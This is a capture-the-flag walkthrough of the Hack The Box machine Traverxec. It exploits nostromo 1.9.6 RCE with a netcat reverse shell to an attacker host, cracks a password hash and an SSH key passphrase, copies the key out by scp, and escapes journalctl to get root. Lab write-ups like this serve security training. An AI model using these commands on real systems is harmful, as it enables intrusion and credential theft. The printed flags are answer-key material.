Got tired of having to sudo things so I switched to root on my kali VM
RHOST: 10.10.10.165
LHOST: xx.xx.xx.xx
As always started off with an nmap
scan
root@kali:~# nmap -sV 10.10.10.165
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 08:22 EST
Nmap scan report for 10.10.10.165
Host is up (0.36s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.02 seconds
Did a directory traversal scan with gobuster
too but it didn't yield anything
interesting.
The http server on port 80 is running nostromo
which is a pretty niche little
webserver I haven't actually come across before.
A quick search on exploitdb shows that version 1.9.6 is vulnerable to RCE
root@kali:~# searchsploit nostromo
-------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit) | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | exploits/linux/remote/35466.sh
-------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Let's give the script a try (after cleaning it up a bit)
root@kali:~# cp /usr/share/exploitdb/exploits/multiple/remote/47837.py nosRCE.py
root@kali:~# vim nosRCE.py
root@kali:~# dos2unix nosRCE.py
root@kali:~# ./nosRCE.py 10.10.10.165 80 whoami
HTTP/1.1 200 OK
Date: Wed, 05 Feb 2020 14:34:25 GMT
Server: nostromo 1.9.6
Connection: close
www-data
Nice! We have successful remote code execution. Let's get a proper reverse
shell using netcat
and python
.
root@kali:~# ./nosRCE.py 10.10.10.165 80 'nc -e /bin/bash xx.xx.xx.xx 8888'
root@kali:~# nc -vnlp 8888
listening on [any] 8888 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [10.10.10.165] 34600
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ ^Z
[1]+ Stopped nc -vnlp 8888
root@kali:~# stty raw -echo
www-data@traverxec:/usr/bin$ ls /home
david
Seems like david
is the user we need to pivot to.
I headed towards the nostromo
config, and instantly found a .htpasswd
file
which ended up having a hash of david
's password.
www-data@traverxec:/usr/bin$
www-data@traverxec:/usr/bin$ ls /var/nostromo/
conf/ htdocs/ icons/ logs/
www-data@traverxec:/usr/bin$ ls /var/nostromo/conf/
.htpasswd mimes nhttpd.conf
www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
The $1$
at the beginning of the hash tells us this is a md5crypt
hash, and
since there is another string between $
signs we know that it's hashed with
a salt.
Luckily our trusty mate johntheripper is able to crack md5crypt hashes and should make quick work of this.
root@kali:~# echo '$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/' > md5hash
root@kali:~# john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt md5hash
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me (?)
1g 0:00:01:00 DONE (2020-02-05 08:54) 0.01651g/s 174705p/s 174705c/s 174705C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
I tried to ssh [email protected]
hoping the same password was reused but no
luck there.
Next I look a deeper look at the nostromo
config.
www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin [email protected]
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
Looks like nostromo
is serving home directories. Let's hit david
's home
directory up over http to see what we get.
So, there's files somewhere from david
's home directory that we can access
using nostromo
, so the www-data
user must have some read permissions to his
home dir.
www-data@traverxec:/usr/bin$ ls -lah /home
total 12K
drwxr-xr-x 3 root root 4.0K Oct 25 14:32 .
drwxr-xr-x 18 root root 4.0K Oct 25 14:17 ..
drwx--x--x 5 david david 4.0K Feb 5 09:15 david
www-data@traverxec:/usr/bin$
Hmmmm not quite.... we have execute permissions though, so we can change
directory into /home/david
and start enumerating further from there.
www-data@traverxec:/usr/bin$ cd /home/david
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied
www-data@traverxec:/home/david$ cat user.txt
cat: user.txt: Permission denied
www-data@traverxec:/home/david$ cat index.html
cat: index.html: No such file or directory
www-data@traverxec:/home/david$ cat public_www
cat: public_www: Is a directory
www-data@traverxec:/home/david$ ls public_www
index.html protected-file-area
www-data@traverxec:/home/david$ ls -lah public_www/protected-file-area
total 16K
drwxr-xr-x 2 david david 4.0K Oct 25 17:02 .
drwxr-xr-x 3 david david 4.0K Oct 25 15:45 ..
-rw-r--r-- 1 david david 45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1.9K Oct 25 17:02 backup-ssh-identity-files.tgz
Very interesting, so nostromo
is setup to serve /home/david/public_www
as
10.10.10.165/~david
, and there's a subdirectory protected-file-area
which is
restricted using a .htaccess
file. We can use basic HTTP auth to access this
david:[email protected]/~david
but there actually isn't even any need.
Since we already have read acess to backup-ssh-identity-files.tgz
I just copied
the archive via ssh to my localhost.
www-data@traverxec:/home/david/public_www/protected-file-area$ scp backup-ssh-identity-files.tgz [email protected]:/tmp
Could not create directory '/var/www/.ssh'.
The authenticity of host 'xx.xx.xx.xx (xx.xx.xx.xx)' can't be established.
ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
[email protected]'s password:
backup-ssh-identity-files.tgz 100% 1915 6.1KB/s 00:00
root@kali:~# mkdir david-ssh
root@kali:~# tar -xvf /tmp/backup-ssh-identity-files.tgz -C david-ssh
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
root@kali:~# cat david-ssh/home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F
seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----
Looks to be another passphrase protected RSA key. Once again john to the rescue!
root@kali:~# /usr/share/john/ssh2john.py david-ssh/home/david/.ssh/id_rsa > david_hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt david_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (home/david/.ssh/id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-02-05 10:36) 0.1949g/s 2795Kp/s 2795Kc/s 2795KC/sa6_123..*7¡Vamos!
Session completed
And boom, we've got the passphrase hunter
. Now to ssh in and grab the user
flag.
root@kali:~# ssh -i home/david/.ssh/id_rsa [email protected]
Enter passphrase for key 'home/david/.ssh/id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Wed Feb 5 10:15:22 2020 from 10.10.14.98
david@traverxec:~$ cat user.txt
7db0b48469606a42cec20750d9782f3d
Woop!
david@traverxec:~$ sudo -l
[sudo] password for david:
david@traverxec:~$ find /bin -perm -4000
david@traverxec:~$ find / -perm -4000 -print 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/sudo
/usr/bin/umount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
Nothing too interesting when I enumerated for SUID binaries and I couldn't run
sudo -l
without a password. I took a look in the home directory (probably
shoulda done that first tbh) and found some interesting user written scripts in
the bin
folder.
david@traverxec:~$ ls
bin public_www user.txt
david@traverxec:~$ ls bin
server-stats.head server-stats.sh test.sh
david@traverxec:~$ cat bin/server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
david@traverxec:~$ ./bin/server-stats.sh
.----.
.---------. | == |
Webserver Statistics and Data |.-"""""-.| |----|
Collection Script || || | == |
(c) David, 2019 || || |----|
|'-.....-'| |::::|
'"")---(""' |___.|
/:::::::::::\" "
/:::=======:::\
jgs '"""""""""""""'
Load: 11:12:07 up 1:59, 5 users, load average: 1.14, 1.07, 1.00
Open nhttpd sockets: 20
Files in the docroot: 117
Last 5 journal log lines:
-- Logs begin at Wed 2020-02-05 09:12:30 EST, end at Wed 2020-02-05 11:14:16 EST. --
Feb 05 11:12:32 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:12:32 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:12:33 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:13:23 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:13:23 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
So it looks like we can run /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
without password,
executing /usr/bin/journalctl
as root. So this command should be in
/etc/sudoers
as
NOPASSWD
for user david
. Took a look at GTFOBins and luckily we can escape from
journalctl and privelege escalate to get a root shell!
Only caveat in this case is that I had to resize my terminal to a height of less than 5 lines since the journalctl command was limiting the output to 5 lines.
david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-02-05 09:12:30 EST, end at Wed 2020
Feb 05 11:23:16 traverxec su[2454]: FAILED SU (to david) www-
Feb 05 11:23:51 traverxec su[2475]: pam_unix(su:auth): authen
Feb 05 11:23:53 traverxec su[2475]: FAILED SU (to david) www-
!/bin/bash
root@traverxec:/home/david# id
uid=0(root) gid=0(root) groups=0(root)
root@traverxec:/home/david# cat /root/root.txt
9aa36a6d76f785dfd320a478f6e0d906
Taking a look at the /etc/sudoers
file I confirmed my suspicion.
root@traverxec:/home/david# cat /etc/sudoers
...
david ALL=(ALL:ALL) NOPASSWD:/usr/bin/journalctl -n5 -unostromo.service
...
root@traverxec:/home/david#